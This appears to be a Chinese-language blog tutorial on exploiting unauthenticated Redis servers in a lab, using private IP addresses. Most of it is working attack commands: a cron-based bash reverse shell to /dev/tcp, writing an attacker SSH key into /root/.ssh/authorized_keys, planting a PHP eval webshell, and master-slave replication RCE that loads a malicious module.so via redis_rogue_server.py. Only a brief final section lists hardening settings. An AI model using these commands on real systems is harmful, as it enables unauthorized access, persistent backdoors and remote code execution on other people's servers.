Redis未授权最全利用方式
0x00 利用计划任务反弹shell靶机地址:192.168.230.142kail地址:192.168.230.128启动靶机redis docker环境
0x00 利用计划任务反弹shell
靶机地址:192.168.230.145
kail地址:192.168.230.128
启动靶机redis docker环境(实际测试通过docker复现失败,因为权限问题,键值save保存失败,需要单独搭建redis漏洞环境)
通过nmap进行服务探测,可以发现存在redis服务
利用方式如下
设置键值
set xxx "\n * * * * * bash -I >& /dev/tcp/192.168.230.128/9999 0>&1\n"
设置导出的路径
config set dir /var/spool/cron/
设置导出的文件名称
config set dbfilename root
save 保存
1.通过在kail上先起nc监听9999端口
2.通过 redis-cli -h 192.168.230.145 -p 6379 未授权连接redis数据库
3.设置键值 xx \n的话是代表换行,避免出现乱码情况
4.设置保存的路径 config set dir /var/spool/cron/ 以及设置保存的文件名
5.可以通过get 查看获取设置的键值内容,通过keys * 查看设置的所有键值
6.在kail192.168.230.128上收到来自192.168.230.145反弹的shell,利用计划任务反弹shell成功
7.以下是非交互式操作
echo -e "\n\n */1 * * * * /bin/bash -i >& /dev/tcp/192.168.230.128/9999 0>&1\n\n"|redis-cli -h 192.168.230.145 -x set 1
redis-cli -h 192.168.230.145 config set dir /var/spool/cron
redis-cli -h 192.168.230.145 config set dbfilename root
redis-cli -h 192.168.230.145 save
0x01 redis 未授权利用公钥登录ssh
1.生成公钥 ssh-keygen -t rsa
2.查看生成的公钥key
3.防止乱码导出key(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt
4.把公钥key写入到键值key中
cat key.txt |redis-cli -h 192.168.230.145 --pass pass123 -x set xxx
--pass 是登录密码 无密码可不填 -x set key 设置键值key
5.获取创建的键值名称,以及写入的键值内容
6.设置保存的文件路径 config set dir /root/.ssh
设置保存的文件名authorized_keys config set dbfilename authorized_keys ,然后进行保存save
7.通过ssh公钥认证成功 ssh -i id_rsa.pub root@192.168.230.145 从128成功登录到145
0x02 redis 未授权写入webshell
写入shell的前提是知道网站的绝对路径和写入权限,也可以通过写入一个phpinfo页面来探测网站的绝对路径,或者可以根据经验判断网站的路径
192.168.230.145>config set dir /var/www/html/ 设置保存的网站绝对路径
192.168.230.145>config set dbfilename shell.php 设置保存的文件名
192.168.230.145>set shell "<?php phpinfo(); eval($_POST[123]);?>" 设置shell键值
192.168.230.145>save 保存后,查看网站路径下已经成功写入shell.php
成功获取到webshell
0x03 redis主从复制RCE
1.主从复制原理介绍漏洞存在于4.x、5. x版本中,Redis 提供了主从模式,主从模式指使用一个redis作为主
机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids
4.x之后,通过外部拓展,可以实现在redis中实现-一个新的Redis命令,构造恶意. so文
件。在两个Redis实例设置主从模式的时候,Redis 的主机实例可以通过FULLRESYNC同步
文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
简单理解就是通过建立一个新的redis服务,和受害机建立同步,然后从主机加载一个恶意的so文件,同步给受害机,受害机加载恶意的so文件造成了命令执行。
2.环境介绍
主机(攻击机):xxx.xxx.29.133
从机(受害机):192.168.230.145
反弹shell主机(kail):192.168.230.128
3.通过redis_rogue_server.py 文件,在xxx.xxx.29.133上起redis服务进行监听(伪造主机)默认15000端口可更改
4. 从机:未授权redis服务器--受害机 config set dir /tmp(配置一个可读可写可执行的导出路径)
5. config set dbfilename module.so 配置导出的文件名
6.slaveof xxx.xxx.29.133 15000 请求主机进行同步,同步主机内容给从机
7.主机开始往从机进行fullresync同步
8.断开fullresync同步 slaveof no one
9.查看/tmp目录下确认同步了module.so文件
10.module load ./module.so 同步完成之后,module list 是看不到的,需要加载(由于环境问题,module命令执行不了)
11.重新指定一个exp.so进行主从同步
12.列举模块函数,存在system函数
13.加载system函数,执行命令
14.也可以执行反弹shell
0x04 redis 主从复制RCE 脚本直接利用
1.通过脚本redis_rogue_server.py 直接利用,指定从机地址192168.230.145 设置主机地址(本机地址)192.200.29.133
python redis_rogue_server.py -rhost 192.168.230.145 -lhost 192.200.29.133
通过脚本指定rhost未授权的redis服务器 默认端口6379 lhost为本地的地址
在利用的过程中会出现选择正向shell和反向shell的选择
一般是反向shell比较稳定,填写反弹shell地址192.168.230128 9999
2.192.168.230.128为反弹的主机 监听端口为9999 可以看到成功接受来自从机145的shell
3.通过脚本进行主从复制RCE时,需要删除此rdb文件,如果未删除,下次会利用失败
0x05 redis 安全设置
1.单独为redis设置一个普通账号 启动redis
2.设置本地localhost不允许外部访问 bind127.0.0.1
3.保护模式开启 protected-mode 开启 (默认开启)
4.把6379端口最好更改成其他端口
5.requirepass 设置redis 密码
更多推荐
所有评论(0)